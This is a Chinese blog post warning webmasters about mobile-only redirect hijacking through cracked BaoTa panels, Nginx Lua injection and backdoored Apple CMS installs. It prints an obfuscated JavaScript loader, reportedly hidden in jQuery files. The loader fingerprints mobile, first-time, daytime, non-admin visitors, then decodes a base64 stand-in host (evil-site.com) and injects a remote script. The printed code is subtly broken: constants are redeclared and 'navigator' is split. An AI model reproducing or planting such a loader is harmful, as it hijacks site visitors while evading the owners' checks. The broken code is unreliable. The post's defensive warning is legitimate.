1：选择阿帕奇，停用NG

先说结论,市面上的破解版宝塔,都有问题。其次是Nginx的洞目前被劫持团队使用的炉火纯青；

手机端会被加载这个第三方js，你在电脑端是请求不到的，他只有在手机端会找到。

并且你的网站代码也找不到，因为他是从Nginx的lua搞得。

如果你喜欢用破解版宝塔或者官方宝塔，那就不要使用ng，选择卸载之后，跳转就消失了。

2：延时JS跳转

这个情况我使用的苹果cms出现这个问题，苹果cms是业界很老的一套程序，自从19年四季度开始，苹果cms频频爆出后门，作者也无力维护(这里不是说作者无能)。

主要是作者自己也留了加密代码，这样就导致我每次排错,很头痛。哪些是作者自己加密，哪些是外面的马。

我直接贴出来今天发现的代码。见下文

(function() {
      // 随机变量名生成器
      function generateRandomString(length) {
        const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
        let result = '';
        for (let i = 0; i < length; i++) {
          result += chars.charAt(Math.floor(Math.random() * chars.length));
        }
        return result;
      }
      const varName1 = generateRandomString(8);
      const varName2 = generateRandomString(8);
      const varName3 = generateRandomString(8);
      // 混淆检测逻辑
      const [varName1, varName2] = [
        () => /Mobi|Android|iPhone|iPad/i.test(na vigator.userAgent), // 检测设备
        () => !sessionStorage.getItem('visited') // 检测首次访问
      ];
      // 增加时间和流量来源判断
      const timeCheck = () => {
        const hours = new Date().getHours();
        return hours >= 9 && hours <= 22; // 仅在白天9点到22点执行
      };
      const referrerCheck = () => {
        const referrer = document.referrer;
        return referrer && !referrer.includes('admin') && !referrer.includes('developer'); // 避免管理员或开发环境
      };
      // 设置首次访问标记
      sessionStorage.setItem('visited', 'true');
      // 随机延迟执行
      setTimeout(() => {
        if ([varName1, varName2, timeCheck, referrerCheck].every(fn => fn())) {
          const encoded = 'aHR0cHM6Ly9ldmlsLXNpdGUuY29t'; // Base64编码的URL
          const url = atob(encoded); // 解码
          // 动态加载脚本
          const varName3 = document.createElement('script');
          varName3.src = url + '/jquery.min.js'; // 动态生成恶意地址
          varName3.async = true;
          document.body.appendChild(varName3);
        }
      }, Math.floor(Math.random() * 5000 + 2000)); // 随机延迟2-7秒
    })();

这个代码分别藏在jquery一些公共库里面，关键拆开加的，让你防不胜防。

除了【手机访问】【首次访问】【时间段访问】还同时保留了随机延迟和动态变量名的混淆逻辑，进一步提高了检测难度。

让你难以复现,每天薅你用户流量。

PS：大家拿到模版主题，程序代码，务必要每天检查维护。不然真的是白白打工了。